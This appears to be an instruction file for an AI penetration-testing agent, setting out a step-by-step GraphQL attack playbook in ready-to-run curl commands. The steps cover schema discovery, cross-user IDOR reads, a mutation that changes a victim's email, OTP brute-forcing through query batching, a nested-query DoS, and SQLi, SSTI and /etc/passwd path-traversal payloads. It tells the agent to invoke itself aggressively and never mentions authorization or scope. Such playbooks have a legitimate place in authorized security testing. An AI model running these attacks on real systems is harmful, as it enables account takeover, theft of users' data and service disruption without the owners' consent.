GraphQL attack surface exploitation - introspection, IDOR via queries/mutations, field-level auth bypass, batching rate-limit bypass, nested query DoS, subscription cross-user data access. ALWAYS invoke when: /graphql endpoint found, Apollo/Relay/Hasura detected, any API uses GraphQL. Trigger aggressively for: 'graphql', 'introspection', 'mutation', 'subscription', 'batching', 'alias', '__typename', '__schema'.
curl -s {target}/graphql -d '{"query":"{ __typename }"}' -H 'Content-Type: application/json'
curl -s {target}/api/graphql -d '{"query":"{ __typename }"}' -H 'Content-Type: application/json'
curl -s {target}/v1/graphql -d '{"query":"{ __typename }"}' -H 'Content-Type: application/json'
curl -s {target}/query -d '{"query":"{ __typename }"}' -H 'Content-Type: application/json'
Got {"data":{"__typename":"Query"}} or "Cannot query field" error? GraphQL confirmed. Continue.
Also check: /playground, /graphiql for interactive UIs.
No GraphQL? This skill does not apply. Stop.
curl -s -X POST {endpoint} \
-H 'Content-Type: application/json' \
-H 'Authorization: Bearer {token}' \
-d '{"query":"{ __schema { types { name kind fields { name type { name kind ofType { name kind } } args { name type { name kind } } } } } }"}' \
> {TMP}/graphql-schema.json
Got schema? Full attack surface revealed. Proceed to Step 2.
Introspection disabled? Use Clairvoyance:
clairvoyance {endpoint} -o {TMP}/clairvoyance-schema.json
Or probe manually - "Did you mean X?" errors leak field names:
curl -s -X POST {endpoint} \
-H 'Content-Type: application/json' \
-d '{"query":"{ user { passwrd } }"}' | grep -i "did you mean"
Both disabled and no suggestions? Limited testing - skip to Step 3 (batching) and Step 5 (injection) which work without schema knowledge.
Every query with an id: argument is an IDOR candidate. Test with User A's token, User B's ID.
curl -s -X POST {endpoint} \
-H 'Authorization: Bearer {user_a_token}' \
-H 'Content-Type: application/json' \
-d '{"query":"{ user(id: \"USER_B_ID\") { email phone address privateField } }"}' | python -m json.tool
Got User B's data? IDOR confirmed. Escalate with @data-exfil-deep to determine data tier.
From the schema, find sensitive fields: password, apiKey, ssn, adminNotes, role, creditCard, accessToken
# Request sensitive fields on your own object
curl -s -X POST {endpoint} -H 'Authorization: Bearer {token}' \
-H 'Content-Type: application/json' \
-d '{"query":"{ me { id email password apiKey adminNotes role } }"}' | python -m json.tool
# Then on OTHER users' objects
curl -s -X POST {endpoint} -H 'Authorization: Bearer {user_a_token}' \
-H 'Content-Type: application/json' \
-d '{"query":"{ user(id: \"USER_B_ID\") { email apiKey privateNotes } }"}' | python -m json.tool
Fields returned that should not be? Finding. Fields returned for OTHER users? IDOR + data exposure chain.
# Update another user's profile
curl -s -X POST {endpoint} -H 'Authorization: Bearer {attacker_token}' \
-H 'Content-Type: application/json' \
-d '{"query":"mutation { updateUserProfile(userId: \"VICTIM_ID\", input: { email: \"[email protected]\" }) { id email } }"}' | python -m json.tool
Success? Write IDOR confirmed. Test delete mutations too.
Try queries with NO auth token:
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ users { id email role } }"}' | python -m json.tool
Returns data? Missing auth entirely. Severity depends on data tier.
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ a1: verifyOtp(code: \"0001\") { success } a2: verifyOtp(code: \"0002\") { success } a3: verifyOtp(code: \"0003\") { success } a4: verifyOtp(code: \"0004\") { success } a5: verifyOtp(code: \"0005\") { success } }"}'
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '[{"query":"{ verifyOtp(code: \"0001\") { success } }"},{"query":"{ verifyOtp(code: \"0002\") { success } }"},{"query":"{ verifyOtp(code: \"0003\") { success } }"}]'
All operations executed in one HTTP response with no rate limit? Finding. Best applied to: login, OTP, password reset, any security-sensitive operation.
Find circular types in schema (User - Posts - Author - User), then test:
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ user(id: \"1\") { posts { author { posts { author { posts { author { posts { author { id } } } } } } } } } }"}' \
-w '\nTime: %{time_total}s\n'
Response > 5s or 500 error? DoS confirmed. Response normal? Server has depth limits - move on. Only report if you observe actual resource impact. Theoretical DoS without demonstrated slowdown is informational.
Test string arguments for SQLi, SSTI, path traversal:
# SQLi
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ users(filter: \"1 OR 1=1\") { id email } }"}' | python -m json.tool
# SSTI
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ search(q: \"{{7*7}}\") { results } }"}' | python -m json.tool
# Path traversal
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ file(path: \"../../../etc/passwd\") { content } }"}' | python -m json.tool
# Enum injection
curl -s -X POST {endpoint} -H 'Content-Type: application/json' \
-d '{"query":"{ user(role: ADMIN) { id email } }"}' | python -m json.tool
Got unexpected data or errors with stack traces? Injection likely. Escalate with @injection-attacks or @blind-injection.
# Test with wscat
wscat -c 'wss://{target}/subscriptions'
# Send: {"type":"connection_init","payload":{}}
# Then: {"id":"1","type":"start","payload":{"query":"subscription { messageAdded(channelId: \"OTHER_USER_CHANNEL_ID\") { content author } }"}}
After completing Steps 1-6, you should have tested:
| What | Priority | Done? |
|---|---|---|
| Introspection enabled | HIGH | Schema obtained or Clairvoyance used |
| IDOR via query ID args | HIGH | All ID-accepting queries tested cross-user |
| Field-level auth bypass | HIGH | Sensitive fields requested explicitly |
| Mutation IDOR | HIGH | Update/delete tested with victim IDs |
| Batching rate-limit bypass | MED | Alias + array batching tested |
| Unauthenticated queries | MED | All queries tested without token |
| Nested query DoS | LOW | Only if circular refs exist in schema |
| Subscription cross-user | MED | Only if WebSocket endpoint exists |
| Injection in arguments | MED | String args tested for SQLi/SSTI |
Nothing found after all steps? GraphQL attack surface is hardened. Move on.
| Tool | Use |
|---|---|
graphql-cop -t {endpoint} | Automated security checks |
clairvoyance {endpoint} | Schema discovery without introspection |
graphw00f -d -t {endpoint} | Fingerprint engine (Apollo, Hasura, etc.) |